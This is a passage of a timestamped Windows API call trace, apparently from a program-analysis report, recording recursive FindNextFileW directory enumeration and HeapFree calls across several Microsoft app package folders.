	[0088.800] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dd8d87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_X")) returned 1
	[0088.814] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0088.814] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0088.822] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.822] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contrast", cAlternateFileName="")) returned 1
	[0088.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.823] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0088.823] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.823] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0
	[0088.823] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0088.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.824] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0088.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.824] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0088.824] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.824] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="CubeTile_contrast-black.png", cAlternateFileName="")) returned 1
	[0088.831] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.831] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972809b4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0088.831] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.831] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973009bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlue.png", cAlternateFileName="")) returned 1
	[0088.834] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.834] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9739a738, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9a9f7f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974330d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0088.840] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.840] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974330d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9745932e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9745932e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Icon.targetsize-16.png", cAlternateFileName="")) returned 1
	[0088.841] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.842] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x974a57e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediumBlue.png", cAlternateFileName="")) returned 1
	[0088.844] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.844] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0088.845] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.845] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScanIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0088.851] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.851] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 1
	[0088.854] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.854] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x976e822e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd111d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x977346e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NavColumn_Black", cAlternateFileName="NAVCOL~1")) returned 0
	[0088.854] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0088.854] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0088.854] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 0
	[0088.854] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0088.854] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0088.855] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x977346e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1023200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Builder3D.exe", cAlternateFileName="")) returned 1
	[0088.856] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.856] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98566969, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98573136, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98573136, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lib3mfUAP.dll", cAlternateFileName="")) returned 1
	[0088.859] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0088.859] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98573136, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98685908, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98685908, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cf18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0088.860] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0088.860] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_X")) returned 1
	[0089.097] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.097] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.098] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.098] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a93a75, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ca9b72, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ca9b72, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0089.106] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0089.106] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0089.106] FindClose (in: hFindFile=0x8120c8 | out: hFindFile=0x8120c8) returned 1
	[0089.106] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.106] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d27ae5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.106] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0089.108] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_X")) returned 1
	[0089.111] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.111] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.111] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.111] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33dc9bf6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31ed98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0089.112] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.112] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0089.112] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0089.112] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0089.112] FindNextFileW (in: hFindFile=0x811e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f47386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.112] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
	[0089.113] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MIBC7F~1.0_N")) returned 1
	[0089.117] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0089.117] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="default.html", cAlternateFileName="")) returned 1
	[0089.120] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f333b0 | out: hHeap=0x720000) returned 1
	[0089.122] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1
	[0089.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.122] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.499] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0089.499] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0089.499] FindClose (in: hFindFile=0x8120c8 | out: hFindFile=0x8120c8) returned 1
	[0089.499] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0089.500] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.500] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91930 | out: hHeap=0x720000) returned 1
